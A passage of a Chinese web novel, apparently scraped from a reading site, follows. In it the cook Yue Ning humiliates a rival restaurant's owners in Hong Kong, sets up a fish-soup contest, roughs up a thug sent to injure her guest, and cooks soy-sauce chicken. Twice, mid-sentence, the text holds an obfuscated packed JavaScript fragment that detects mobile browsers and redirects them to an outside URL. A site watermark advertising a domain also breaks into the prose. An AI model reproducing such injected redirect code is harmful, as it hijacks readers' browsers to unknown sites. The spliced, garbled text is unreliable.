岳宁一脸疑惑地捡起这张五块钱，委屈巴巴地说：“我这两天在宾馆里看港城电视剧，电视剧里有位女士穿得跟你差不多，往一位先生身上蹭，那位先生就往她胸口塞钱，那位女士很开心地收下了。我以为这是港城的规矩。所以您往我身上靠，我就塞了钱，我以为您会高兴。 围观的人笑得前仰后合，岳宁还满脸迷茫地向他们求助：“我做错了吗？ 那个女人咬牙切齿地说：“你…… 花姐大笑着走过来说：“宁宁啊！那是男人去夜总会给那些小姐的小费，丽姐是胜华楼的大老板，你可不能这样给小费。 岳宁委屈地抱着花姐的胳膊：“爸爸教我，老板对内要尊重职员，对外要尊敬宾客。没有职员的努力，没有宾客的喜爱，我们就没法赚钱。但是尊敬不等于谄媚，为人首要的就是要行端坐正。她那个样子，不像老板，倒像……倒像……电视剧里青楼里的老鸨。 刚刚说人家是坐台小姐，这会儿又说人家是妈妈桑。这可把人笑**，有人甚至笑得跺脚，实在忍不住了。 花姐一边笑一边还要安慰这个能把人抛来抛去的小姑娘，说：“宁宁，没事，没事，你刚从内地出来，不了解港城的一些情况，咱们慢慢学。 “嗯，好呀！以后花姐多多提醒我，免得我犯错。岳宁一副虚心受教的样子。 这位丽姐手指颤抖着说：“你个北姑。 “丽姐，你怎么骂人啊？ 这下丽姐好像找回了一点场子，翻了个白眼说：“北姑是骂人吗？你不是从西北来的姑娘？ “你说得也是哦！岳宁点头，接着诚恳地发问，“那我祝你冚家富贵啊！肯定是祝你全家发大财吧！ 前一段笑声还没结束，新的一轮又开始了。前面的人笑得抽筋，后面的人还不知道岳宁说了什么，正扒拉着前面的人问情况 ，笑声一层一层地传递开来。 丽姐气急败坏，厉声喝道：“你给我等着！ “好呀！我等着。 岳宁目送丽姐走进胜华楼，她回过头，走到丁胜强身边，手搭在丁胜强肩上。丁胜强下意识想要避开，却被岳宁一把扣住。 岳宁扣住丁胜强说：“强叔，以后我们是同行，你的仿华楼还得跟着我们宝华楼学，我们联合给顾客发一个声明，怎么样？ 丁胜强想骂人，但是肩膀上那只手，就像九阴白骨爪一样，都快扣进他肉里了，疼得他头上直冒汗。 岳宁有些不解地看着头上冒汗的丁胜强：“强叔，你很热吗？ “他是害怕。有人说道。 “啊？岳宁连忙安抚，“强叔，别怕，别怕！我是这么想的，既然你主打宝华楼传承。我们内地一直说先进要带后进，同行要互相帮助。而且一日为师，终身为父。我们祖孙俩，也不想你做菜太烂，连累宝华楼的名声。以后，咱们定期拿出一道菜来，公开比试，让你能及时找到与宝华楼的差距，有改进的方向。你看怎么样？第一次的话，咱们就比拆鱼羹，就定在本周日早上，这么好的机会，你要不要？ “宁宁，你干脆问他敢不敢比？花姐说，“他心虚着呢！ 岳宁挺有耐心，但耐心也会耗尽，她皱起眉头，手里一用力，丁胜强痛呼出声，岳宁说：“强叔，别光出汗啊，问你话呢？ “都快被你吓得尿裤子了，他怎么回答你？有人提醒岳宁。 岳宁不解地问：“这么大的好事，为什么害怕呢？他主打宝华楼传承。如果公开比下来，他的口味和我们宝华楼的口味一模一样，那证明仿华楼仿得到位，物美价廉。要是有差距，教学相长，在比赛交流中，认识到自己的不足，改进就好了。除非，他心虚，自己知道两边差距很大，根本仿得不像。 “差距确实很大，宝华楼的拆鱼羹鱼肉很鲜甜，他们的拆鱼羹鱼肉腥味重，鱼肉有时候感觉有些粉粉的。他们家也鲜，但不是纯粹鱼的鲜味，也不是用了味精。 “是的，是的。胜华楼的拆鱼羹，好像是那么回事，但真的差了点什么。 “鱼肉拆得时间太长，本身的鲜味流失了，没办法只能用鸡汤提鲜。岳宁解释道。 “是是是！有一股鸡汤的味道。 “我们都在等宝华楼重开。 “对啊 ！什么时候开？” “我们也不想吃胜华楼的这些，说是宝华楼传承，可好像总归缺了点味道。” “不好意思啊！都是因为我，爷爷去西北找我，让大家一时间吃不到我爷爷的手艺。”她手里的劲儿又加了一点，看向丁胜强，“我强叔这些天把宝华楼的好多职员都拉了过去，导致我们宝华楼暂时无法恢复到以前的规模，估计需要一个月左右才能恢复到以前的接待量。我们打算明天开始先开宝华楼的烧腊档口，届时，买我爷爷的任何一款烧腊，送一份我亲手做的脆皮烧鸭。另外，还有我的这款烧鸭的试吃活动。和我爷爷做的烧鸭不一样哦，到时候请大家多提宝贵意见。谢谢！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915396|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你做的烧鸭，好吃吗？”有人问道。 “在粤城广受好评。我刚来，不确定是否符合大家的口味，所以借着爷爷的名声，请大家试吃，给我提意见，你们的意见对我真的很重要。”岳宁真诚地说。 岳宝华看了这么久，这才走过来：“宁宁的拆鱼羹，是她爸爸亲传，我儿子在厨艺方面比我更出色。等宝华楼重开，大家可以试试她的手艺，她做的拆鱼羹香气更醇厚。” “华叔，你孙女的拆鱼羹，比你做得还好？”有人问。 “也不是啦，我和我爷爷做的拆鱼羹各有千秋，我的拆鱼羹更接近我爸爸的味道。”岳宁又拉了一下丁胜强，“强叔，周日比不比，你说句话呀！这样大家不用等宝华楼恢复接待量，周日就能尝尝我的手艺了，你也有机会学一下。” “小姑娘，你为什么要逼着他比，他能学到手艺，对你有什么好处？”围观的人问。 “我想让他知道，我爷爷还是我爷爷，他师傅还是他师傅。”岳宁说完，眼神变得凌厉，看向丁胜强，“说话啊！哑巴了？不比是吧？把你们这块招牌拆了。还‘胜’什么呀！” 他们的拆鱼羹存在那些问题，是因为用的鱼以及让阿旺婶一家提前拆好鱼茸，导致香气和鲜味流失。丁胜强自认为他的拆鱼羹还是得了岳宝华的真传，他就不信这个一身蛮力的小丫头拆鱼羹能比他做得好。丁胜强咬牙切齿地说：“我比！” “那就说定了。”岳宁和丁胜强并排站着，露出标准笑容，“本周日上午八点，咱们两家门口各搭炉灶，从杀鱼、片鱼到拆鱼，向大家展示宝华楼传统拆鱼羹的做法。宝华楼将提供五十人次的品尝机会，先到先得。 如果您有厨艺基础兴许看了之后您在家也能做出宝华楼风味的拆鱼羹。我们在这里期待您的到来！” “我们学会了 岳宁笑着说：“才不会呢！我打赌就算你学会了也会专程来宝华楼吃我做的菜。” “这么有信心？” “周日你尝过就知道了。” 在围观人的笑声中岳宁终于放开了丁胜强朝岳宝华那边走去撒娇道：“爷爷我今天五点多就起床了路上也没怎么吃东西而且强叔好重哦我扛他用了好多力气好饿哦！” 岳宝华不知道该笑还是该心疼说：“我们去吃饭。” 有人喊道：“岳小姐你去亨通电视台考艺员训练班吧？” “我没去考艺员训练班是为了你！” “为我？” “怕你笑死。刚才就数你笑得最大声。” 在最后一波笑声中岳宁挽着岳宝华朝着宝华楼走去。 丁胜强这才稀里糊涂地回过神来胜华楼里有人冲出来喊道：“强哥你快进去丽姐正在发脾气呢！” 丁胜强本想拔腿就跑却发现腿上的肌肉不受控制地颤抖着。此时他的脑海中突然浮现出岳宝华说过的话那只小狮子是天生的王者。 他拖着发软的双腿扶着扶手一步一步往楼上走去。 胜华楼的办公区域在三楼他刚走到二楼就听见张丽丽尖锐的叫嚷声：“你就眼睁睁看着我被那个北姑欺负是不是？” 等他来到张丽丽办公室门口只见地上一片狼藉墙壁被烟灰缸砸出了一个洞。张丽丽满脸涨红表情扭曲继续喊道：“我不过是要你给我出出气你都不肯？是她不让你帮我？喂……喂……” 丁胜强只能劝慰道：“岳宝华认识的人不少坤哥的势力一时半会儿也没法延伸到港城来。” “难道我就这么白白受这个气？”张丽丽声音沙哑地叫嚷着。 丁胜强在沙发上坐下就在接触沙发的那一刻他真想直接瘫软下去。他开口问道：“那能怎么办呢？坤哥不肯帮你出头你又能有什么办法？那天我们打了朱友松当天晚上咱们的橱窗就被人砸了。” “可那天你推岳宝华不是什么事都没有吗？” “可能岳宝华也清楚那天我没使多大劲不是故意的。岳宝华这人一是一、二是二为人 太过正直，不会冤枉人。”丁胜强一边说着，一边掏出烟盒，拿出打火机。点烟时，他的手仍不受控制地颤抖着。 张丽丽问道：“他们家金鱼的水，真的是你放掉的？” “他下面那些小喽啰骗他呢！”丁胜强抽了一口烟，缓了口气，接着说道，“你走之后，那个小丫头要跟我们比做菜。” “啊？”张丽丽一脸疑惑，“这是唱哪出啊？” 丁胜强仰头吐出烟圈，说道：“要是岳宝华亲自下厨，我还真没信心。但那个小丫头说她来做，那我得让她知道，我吃过的盐比她吃过的饭还多。” 张丽丽也点上烟，吞云吐雾地问：“你之前说，今天早上宝华楼进货，是为了请这个小丫头的朋友吃饭？” “是啊！” “刚来港城第一天就急着请客？问岳宝华，他说她年纪小，不是男朋友。既然不是男朋友，那会是什么样的朋友呢？你不是说岳宝华的儿子是托付给他师兄照顾的吗，估计是他师兄那边的人，以前帮过这丫头？不管怎样，肯定是重要的朋友。”张丽丽从鼻孔里喷出烟来，“他不肯帮我出气，我也没别的办法了。等他们宴客结束，跟着她这个朋友，打断她朋友一条胳膊或者一条腿。然后，给她送只死青蛙、死鸟过去。不用明说，让她明白，港城可不是西北，不是光靠一身蛮力就能横行霸道的。” 说到这儿，张丽丽的心情稍微平复了一些。她捡起电话机，试了试，发现电话机没坏。电话那头是那天殴打朱友松的两个混混，她吩咐他们立刻过来，守在宝华楼门口，留意哪个是那死丫头请的贵客，她要打断那个大陆仔的一条腿。 在港城，打断一个大陆仔的腿，警局根本不会当回事。 安排妥当后，她坐了下来，把穿着高跟鞋的脚翘在桌子上。低头时，她看到自己胸口被纸币刮出的一道红痕，顿时又火冒三丈。她脱下脚上的高跟鞋，使劲地敲着桌子，“哐当”一声，鞋跟终于承受不住，掉了下来。 本就疲惫不堪的丁胜强看着张丽丽，心中暗自叫苦，自己到底是倒了什么霉，才会跟这么一个蠢女人合作？ 第40章 豉油鸡 宝华楼平时一百来张桌子总是座无虚席，可今天只有四桌客人。此时，师徒四人、在一旁的花姐，还有一个切墩和一个打荷都围在正在吃煲仔饭的岳宁身边。 今天这一番经历，让他们全都喜欢上了这个刚到港城的小姑娘。这些日子所受的气，岳宁都替他们出了。 岳宁吃着岳宝华小徒弟做的煲仔饭，一碗吃完又来一碗，她是真的饿了！ 自从离开小杨沟，她就没饿过肚子。今天错误预估了从粤城到口岸路上所花的时间，路上只准备了水，没准备干粮，她终于又体验了一回饥饿的感觉。 花姐看着心疼，怜爱地端了排骨汤给岳宁：“宁宁啊，慢慢吃，来喝口汤。” 五指毛桃排骨汤，也是岳宁格外喜欢的一款汤品，味道醇厚，带着五指毛桃特有的中草药香气。她喝了两口，便继续吃饭。 “你阿明叔做别的菜可能不怎么样，但煲仔饭在咱们宝华楼那是数一数二的。好吃吧？”花姐说道，“咱们可不像对面那家，为了出餐快，直接把米浸泡了，那样做出来的饭，米香都没了，米饭也不爽口。” 这点岳宁也吃得出来。煲仔饭是宁烧腊的主要品类之一，她和研发团队调整了无数次，才将口感调整到满意的状态，最后还制定了标准操作手册。 就像花姐说的，即便有了标准操作手册，有些喜欢赚快钱、追求降本增效的企业，照搬过去后依然会做改动。上辈子，他们的竞争对手为了节省时间，也改成先浸泡米。 “好吃，好吃！”岳宁把最后一口饭扒进嘴里，看向爷爷的小徒弟，“阿明叔，真的很好吃哦！尤其是你在里面加了土豆，我在西北一日三餐，土豆都当饭吃，这一口下去，有种回到西北家里的感觉。” “煲仔饭哪有加土豆的？阿明就喜欢瞎加这些。”阿松说自己的小师弟。 “不是哦，不是哦！阿松叔，我也喜欢乱加东西，我爸爸也是。”岳宁摇着头，像是想起了什么，“阿明叔，我爸爸教我做煲仔饭，他有个诀窍，一半用马坝油粘米，一半用泰国丝苗米，两种米混合，吃起来更有层次感。淘完米后，不光要在锅底刷油，还要在米里加猪油和一点点盐搅拌均匀。这样米粒更润，还有底味，又不影响米饭的干爽，锅巴的焦香也会更浓郁一些。在西北没有这些材料，回到粤城后我试过一次，我爸爸的老食客周爷爷都说特别好吃。” 实际上，这是宁烧腊的研发团队经过一次次改进后总结出来的标准做法。 阿明眼睛一下子亮了起来：“我怎么没想到呢？我马上试试，等下你们尝尝？” “嗯，试试。”岳宁摸了摸肚皮，“我应该还能再吃一碗。” “我马上去。”遇到岳宁这样既给面子又能友好提建议的食客，阿明兴致高涨，马上走进厨房。 岳宝华在福运楼厨房就见过岳宁教大家做菜，她就喜欢这样在不经意间指点别人。 花姐见岳宁吃完了，热情地说：“宁宁，我带你去房间。” “等一下，我得先把鸡腌入味。”岳宁站起来说。 岳宝华拿出全新的厨师服，岳宁去换上。 宝华楼所在的街区虽然比较老旧，但楼内装修比较新，设施也不错，从大厅到厨房都装了空调。不像福运楼，穿上厨师服，一个晚市下来，里面的衣服全湿透了。港城啊，到底不一样，难怪大家都想来这里。 岳宁一进厨房就闻到了煲仔饭的香味：“阿明叔，好香！” “泰国香米的米香更浓郁，加进去确实增添了香味。”阿明走过来，“你要做什么？” “我先卤一锅肉，做我们西北的肉夹馍。” 岳宝华按照岳宁的要求，把五花肉和猪蹄放在清水里泡着，带着岳宁过来看：“你看这肉怎么样？” 岳宁提起肉看了看：“肥瘦刚刚好。” 岳宝华从冷藏柜拿出四只鸡：“已经处理干净了，鸡腹油在冰箱里，现在要用吗？” “鸡腹油不用，我先把鸡腌一下，让它入味。”岳宁问道，“爷爷，鸡丁和肉丁切好了吗？” “切好了。” 上次在北京，岳宁做了一次东平鸡饭，崔慧仪一直念念不忘，乔君贤也被崔慧仪勾起了兴趣，上次在粤城就一直念叨着要吃鸡饭。岳宁考虑到周爷爷年纪大了，中午吃了蚝仔煲仔饭，晚上应该吃清淡些，而东平鸡饭又是鸡油又是五花肉，太过油腻，对身体不好，所以就做了牛肉汤粿条。虽然周爷爷和乔君贤都说好吃，但两人还是惦记着那碗鸡饭。 再说今天她还不能做乔君贤最喜欢的拆鱼羹，因为过两天她要通过和丁胜强比试做拆鱼羹，揭开胜华楼拆鱼羹偷工减料的真相。她那一手剔鱼骨的手艺，怎么能让三个叔叔看见呢？人多嘴杂，到时候丁胜强知道了，就麻烦了。 所以总得让乔君贤吃到他 念叨了很久的东平鸡饭。 花姐站在旁边看岳宁腌鸡，问她：“宁宁啊，你真要和丁胜强比做拆鱼羹？拆鱼羹可是丁胜强的拿手菜，就像你阿明叔的煲仔饭一样。” “我有爷爷的传承，还有爸爸的窍门。”岳宁俏皮地笑了笑，“花姐，咱们先尝尝阿明叔改进后的煲仔饭？” 说更新，记住域名ｃａｉｘｓ○(请来才小 说 看最新章节 完整章节) 这时，阿明揭开了锅子，将一勺宝华楼秘制的煲仔饭酱汁浇入饭中。酱汁渗入锅底，伴随着“滋滋啦啦”的声音，米香、腊味香混合着酱汁被炙烤的美妙香气散发出来。即便岳宁已经吃了两碗煲仔饭，此时也忍不住馋了起来。 阿明关火，再次盖上锅盖。岳宁盯着砂锅嚷嚷：“碗筷，碗筷。” 看她这副模样，阿明成就感满满，先给她拿来了碗筷。 阿明再次揭开锅盖，拿着木铲子开始拌饭，米饭、腊味和酱汁逐渐融合在一起。锅底的锅巴被铲了起来，焦黄的锅巴，木铲一碰就裂成了碎片。他接过岳宁手里的碗，给她盛了半碗。 岳宁挑起一块锅巴，轻轻吹了吹，一口咬下去，口感酥脆。阿明叔这样有经验的厨子做出来的煲仔饭，到底比宁烧腊那些按照标准操作手册做出来的煲仔饭更有灵魂。岳宁向阿明叔竖起了大拇指。 岳宝华也在吃。阿明别的菜做得一般，就是煲仔饭做得好，在煲仔饭这方面，阿明已经完全学到了岳宝华的真传。 志荣的这一点点小改动，确实为这锅煲仔饭增色不少。米香更加浓郁，原本砂锅底部刷油，总是不够均匀，所以锅巴的酥脆程度不一致。现在米粒上有了油，就不存在这个问题了，锅巴酥脆得更加均匀。同样的道理，煲仔饭是翻拌的，总会有没拌匀的米粒，有了些许咸味的米粒，也让味道更加均衡。 “米饭兼具油米的油润和丝苗米的香气与爽口，锅巴更酥脆，味道更好了。”阿松也称赞道。 阿明开心地说：“我刚才听宁宁说，就觉得是个好主意。” 这下花姐明白了：“宁宁，是不是你爸爸教过你拆鱼羹的绝招？” 岳宁吃完煲仔饭，放下碗筷：“就像这碗煲仔饭的小妙招一样。” “那我就放心了。”花姐说道。 岳宁把卤肉的火调小：“叔叔婶婶，对面那家不过打了个胜华的招牌，他们根本没打算好好做。食客刚才说的话，就表明他们在食材和用心程度上差远了。他们和我们的客户群体不一样， 从长远来看，我们根本不需要太在意他们。只是他们那些像贴胶布之类的恶心行径，收拾一下就好了。” 岳宁上辈子就遭遇过类似的背刺，那还是宁烧腊准备上市的时候，管理团队出走，全套配方被复刻。那些日子，她其实都没信心自己一定能重新站起来，焦虑得脖子上长了好大一块神经性皮炎。要不要打价格战？如果打价格战，资金从哪里来？在她焦虑的时候，顾客并没有出现断崖式流失。网络上出现了很多两家同款的测评，吃货们纷纷把票投给了宁烧腊。 当然，在国内市场不可能完全不参与价格战，但至少品质摆在那里，他们不需要把价格降到无利可图的地步。度过了生存难关，后面就顺利发展起来了。 “那你为什么要和他比做菜，难道还真要教他？”花姐不理解。 “他是我爷爷的徒弟，手艺有我爷爷教。”岳宁笑着说，“我只会教他怎么做人。” 在岳宁没来之前，这话没人会信。但她刚才那一番举动，现在谁敢不信呢？ “我们去房间吧，洗个澡再下来。”岳宁说，“坐公交车好热。” “走走走，我们一起去。”花姐说。 “宁宁，这些猪蹄是用来做猪脚姜吗？我看菜单上没有这道菜啊？”阿松问。 岳宁说：“我做豉油鸡用的。” “猪蹄？豉油鸡？”阿明叫了起来，这两个毫不相干的东西，怎么能联系到一起呢？阿明一脸迷茫。 “等下就知道了！” 随着这一声，岳宁把疑问留给了厨房里的人，自己跟着花姐和爷爷上楼去了。 岳宝华原本想着自己可以在宝华楼凑合住，孙女应该住到浅水湾那套八百多尺的房子里。 可跟孩子一说，孩子不愿意。酒楼在九龙，住在港岛南边，还要穿过隧道，这一来一回太浪费时间了。 她宁愿住在宝华楼，宝华楼的住宿条件肯定比小杨沟好吧？ 岳宝华听了她的话，这几天收拾出一间将近两百尺的房间，请有女儿的花姐一起布置。 花姐替岳宁提着行李箱，跟她说：“宁宁，我跑了好多地方，给你选窗帘、选床品……” 岳宁心里有些小小的期待。走过阳台，看到窗上粉色的窗帘，她有种不祥的预感。门被推开，粉色的窗帘，白色镶粉色边的家具，粉色的床品上面还有一只穿着粉色裙子的米妮公仔。 “宁宁，喜欢吗？ ”岳宝华期待地问。 岳宁很少穿粉色的衣服，家里也很少有大面积粉色的装饰品，这和她上辈子的妈妈有关。 她上辈子的妈妈，从来不管她喜欢什么，就喜欢给她穿粉色的衣服，告诉她女孩子要乖巧、懂事、听话，这样才能嫁得好。 粉色的房间，粉色的穿着，芭蕾、钢琴、小提琴都得学。她想游泳，田径队选中了她，妈妈却全部反对。只要她反抗，妈妈就说为了培养她花了多少心思，一切都是为了她好。 可笑的是，她妈妈可以连续问她两三次想不想喝番茄排骨汤，每次她回答想喝，可等下端上桌的，可能是萝卜排骨汤，也可能是老鸭汤，但一定不会是番茄排骨汤。 他们送弟弟去澳洲，明明她的成绩可以冲击清北，高考前她妈妈却哭天抢地，不许她报外地高校，告诉她必须考粤城最好的那所学校，理由是女孩子有这个学历就够了。 她知道自己不应该受妈妈的影响，可妈妈那种言行，怎么可能不受影响。最终她高考成绩全省排名三百出头，她报了上海的学校。在父母威胁不给生活费的话语中，她收拾行李去了上海。 粉色明明是很可爱的颜色，有些粉色锦缎温柔华美，但在潜意识里，她会避开这些。 爷爷的一片心意，花姐也忙碌了这么久，岳宁装作很喜欢的样子：“好漂亮，爷爷要把我养成小公主吗？” 孙女这么喜欢，岳宝华很开心。他还带着岳宁走到书柜边，给她看两个芭比娃娃。 这……岳宁好想告诉爷爷，她已经过了玩芭比娃娃的年纪。 书桌上放着一台录音机，床对面有一台电视机。这会儿空调开着，房间里还有独立的卫浴。除了颜色粉了些，真的是很精致的一间房。 岳宁打开行李箱，拿出两盒鸡仔饼，还有一条真丝丝巾给花姐：“婶婶，我知道港城也有鸡仔饼，这是我带来的，给大家分一下。这块丝巾是给您的。” “你这孩子，还这么客气。”花姐接过东西，看到她箱子里有一卷纸，问：“这是什么？” 岳宁把笔墨纸砚拿出来，放进书柜里，说：“宣纸。在友谊商店买的笔墨纸砚，港城这些可能更贵一点。” 花姐愣了一下：“宁宁还会书法。” “会。”岳宁这辈子师从书画爱好者莫维文，上辈子则是有钱之后请名家教的。 笔墨纸砚一拿走，箱子里剩下的就 是衣服了，颜色缤纷，却唯独没有粉色。 岳宝华看在眼里，他想起在内地和宁宁逛百货公司的时候，宁宁也没看过粉色的衣服。 花姐打开了衣柜：“宁宁，睡衣睡袍，我是按照你爷爷形容的尺码买的。你先洗澡，要是还缺什么，跟我说。” 果不其然，睡衣依旧是粉色，花姐对粉色真是情有独钟。 岳宁送走了爷爷和花姐，关上房门，拿出一件冷灰色的提花桑波缎无袖上衣，配了一条绿色重磅双绉的长裤。 岳宁洗了澡，顺便把换下来的衣服用了一点洗发水清洗。真丝娇贵，不能曝晒，她在阳台上找了一个晒不到阳光的角落，正要把衣服挂上。 衣服不能用力拧，水滴滴答答的，她怕水会淌到楼下，便探身出去看看楼下有没有晒衣服被子。还好，楼下干干净净，不过前面怎么有个人鬼鬼祟祟、探头探脑的？ 这条通道在宝华楼和隔壁一栋楼之间，是从前街通往后巷的通道。通往前街的出口有一道铁门，铁门上下都是铁皮，一人高的地方有一道腰线，打了花格，透过花格可以把街道看得清清楚楚。 这道通道应该是宝华楼进货用的，从前街直通后厨，平时常闭。 岳宁把衣服挂上，拉上房门，低头往下看，发现有可以落脚的地方。她翻山越岭惯了，喜欢抄近路。 岳宁从三楼翻下去，在下水管上借力，像一只猫似的，悄无声息地落在巷子里。这人把注意力都集中在街道上，丝毫没有发现背后有人。 直到岳宁走过去，手搭上那人的肩，那人问道：“人来了？” 她反问道：“谁来了？” 听到声音不对，这人回头，岳宁已经一把扣住他的脖子。 这人太没警惕心了。像她这种出去野外放羊的，老人都会说，遇到这种情况，千万不要回头，回头了，遇到鬼就会被吸了阳气，遇到狼就会被咬断喉管。 这人斗鸡眼，两个眼珠子都快挤在一起了，他想叫又叫不出来。 看到斗鸡眼，岳宁一下子反应过来。 乔爷爷知道了她和莫伯伯的关系后，立马派人彻底查了那天**的细节，把拿着胶布**的两个混混的底细查得清清楚楚。一个是斗鸡眼，外号斗鸡辉；一个特别高，花名高佬成。 这些情况，乔君贤给她送资料的时候也一并带来了。乔爷爷不想越俎代庖，就让乔君贤问一句，要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915397|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起收 拾了这两人。 这话把岳宁吓得心里一抖她怎么舍得免费流量消失呢？立刻否决决定留着他们给宝华楼打广告。 这不斗鸡辉撞到枪口上来了。岳宁脸上浮现出笑容：“丽姐还是她男人叫你来的？想要干什么？” 这人的脚使劲儿地踹岳宁反手一转把他压在墙上：“斗鸡辉说吧！” “你怎么知道我？” “高佬成是在外面望风吧？”岳宁嘿嘿一笑“不是你们俩在宝华楼的菜里放的胶布吗？” “你……你们……知道？” “你先说你们想要干什么？” 唐楼的墙不太平整岳宁上下挪了一下这人的脸皮似乎不太厚被划拉了一下疼得惊叫：“我说我说是丽姐听说你今天请朋友……” 岳宁放开了他陡然被放开斗鸡辉想要跑岳宁两步就追上再次把他压在墙上。这次她把墙当成搓衣板上下划拉问道：“我都要放你了跑什么？” “不跑了不跑了。” 岳宁再次放开他这下他左右两边脸都是血痕。岳宁问：“你知道我为什么知道你们俩吗？” “怎么知道的？”这也是斗鸡辉心中的疑问。 岳宁冷笑一声：“她那个叠码仔男人都不敢给她出气你们倒好这种事都敢接？是想上山喂鸟还是下海喂鱼？等会儿你睁大你那双斗鸡眼好好瞧瞧我请的究竟是谁！” 斗鸡辉的双眼又使劲儿挤在了一起他抹了一把脸上的血痕完全不明白岳宁这话是什么意思。 “你就好好看着看清楚之后仔细想想。要是不想被我找麻烦今晚胜华楼人多的时候你就一路叫骂着进去就说张丽丽上次让你们在宝华楼的菜里放胶布却没给你们钱然后把张丽丽拖出来狠狠给她几个嘴巴子。” “打她？”张丽丽他倒不是特别害怕可她背后的那个男人才是让斗鸡辉忌惮的。 “所以我才让你先看好我请的人再做决定。”岳宁笑着看向他“你还有时间慢慢琢磨。” 在斗鸡辉那双斗鸡眼的注视下岳宁沿着原路返回回到了阳台上。她还对着斗鸡辉挥了挥手。 岳宁心情大好正准备下楼低头却发现自己全新的桑波缎上衣勾出了一根细丝。顿时她心情糟糕透顶 漂亮衣服就这么毁了。难受！真想哭！ 楼下，那些刚才错过精彩好戏的街坊们，这会儿都来到了宝华楼，正和花姐他们八卦着。 说起岳宁往张丽丽胸口塞钱的事儿，那些没亲眼见到的人直呼错过了大热闹。 “你说，华叔的孙女到底是真不懂呢，还是假不懂啊？” “肯定懂啊，她都能说人家是老板不是老鸨，怎么可能不懂？” “华叔这个孙女，一点儿土气都没有，根本不像从大陆来的。” 虽说才刚认识不久，花姐却早已把岳宁当成了自家孩子：“往上数两代，谁不是从大陆来的？港城的几个大富豪，哪个是港城本土的？不是宁波的，就是上海的，还有潮汕的，他们哪个土了？就说现在，裁缝铺子写着上海师傅，理发店叫上海烫发。谁说大陆来的就一定土？我们家宁宁还会书法、会画画呢。” “她应该没读过大学吧？我们家……” “知道你家阿杰考进港大了，兰姐，你天天说、天天说，这条街上的猫猫狗狗都知道你家阿杰学习好了。”一位街坊打断了兰姐的炫耀。 这个兰姐，人哪儿都好，就是特别爱夸她大儿子学习好、聪明，考上了港大。大家听得耳朵都快起茧子了。 这话传到岳宁耳朵里，却有不一样的效果。她两步并作一步走上前，双手搭在花姐壮硕的肩膀上，问道：“花婶婶，这位婶婶的儿子考进港大了吗？” “对啊！对啊！”终于有新听众了，兰姐高兴坏了，“我家阿杰他……” 岳宁认真地听了一会儿，得知这个阿杰是参加了高级程度会考，便说道：“兰婶，能麻烦您跟阿杰说一声吗？不知道他什么时候有空，我想当面向他请教一下考港大的具体细节。” “你也想考港大？” “还不确定，我知道内地和港城差别挺大的，就是想了解一下港城的考试规则。”要是能有街坊帮忙，那自然再好不过了。 “好啊！好啊！晚上等他回来，我就跟他说。”兰姐一口答应下来。 都说港城是个人情冷漠、有边界感的城市，可来了这么短的时间，岳宁却发现，这儿的街坊邻居都很热情，一点儿都不比小杨沟的差。 其他几位大婶对岳宁充满了好奇，尤其是对她那一身大力气。岳宁解释道：“婶婶，您想想，要是每天走一个小时山路去挑两桶水，还得翻好几个山头去放羊，羊要 是不肯进羊圈、不听话，您还得拖着、抱着它们进去，力气不大，根本做不到，对吧？” “花姐不是说你会写字画画吗？” “我也读书学习啊！放羊的时候，就吃着怀里捂热的土豆，靠在树下看书。” “……” 岳宁被一群热情的婶婶团团围住，脱不开身。 “宁宁，该烧菜了。” 岳宝华的呼喊声终于让岳宁得以脱身。她换上厨师服，走进后厨。 正在切菜的阿松一见到她，便问道：“宁宁，你快说说，你到底打算怎么用猪脚做豉油鸡啊？” “你来看啊！”岳宁把腌制好的四只鸡拿了出来，开始洗掉腌料。 阿明走过来一看，疑惑道：“不是做豉油鸡用鸡吗？我还以为要用猪蹄呢！” “豉油鸡，豉油鸡当然得用鸡啦。不过我还搭配了猪蹄。” 岳宝华把鸡腹油拿了过来，岳宁接过说道：“爷爷，麻烦您帮我把猪蹄焯水。” 师兄弟三人看着岳宁熬鸡油，她往里面放了葱姜蒜，还有芹菜和香菜，这些调味菜让鸡油的香气愈发浓郁。 岳宁留了一半鸡油在锅里，用这些鸡油依次将四只鸡的鸡皮煎至发黄，这也是宝华楼做豉油鸡的标准步骤之一。只不过岳宝华教的是用豆油加葱姜蒜煎，而不是用鸡油煎。 鸡皮煎好后，油脂更丰富了。岳宁又用这些油把猪脚煎到表皮微微发黄。 “红糖。”岳宁一开口，岳宝华马上递给她。 师兄弟三人看着师傅忙前忙后，自己却干看着，总觉得不太好意思。 “豉油鸡里放红糖？”阿松疑惑地问。 在他们的认知里，豉油鸡不就是放豉油嘛，最多加老抽、生抽，也可以放冰糖、砂糖，可从来没放过红糖。 岳宁抬起头说：“爷爷没教过你们用滴珠油炒河粉吗？” “炒河粉肯定得用滴珠油。” “我想要滴珠油那种红亮的色泽和独特的香气。”岳宁边说边炒起糖色，“举一反三、融会贯通，对吧？” “也是哦！” 岳宁炒好糖色，调好汤底，把煎过的猪脚放了进去。猪脚要炖到软糯，需要些时间，而鸡要保持鲜嫩，不能久煮，所以得分开下锅。 时间差不多了，大家都忙活起来，岳宁还得准备“萝卜开会”这道菜。 岳宁在厨房里面忙碌着，外头即便街道嘈杂，却也盖不住跑车那嚣张的轰鸣声，而且一听就知道不止一辆跑车。 很多人跑到外头去看，白色的波子，蓝色的马田，黄色林宝坚尼，红色的跃马，银灰的积架一下子来了五辆…… 第41章 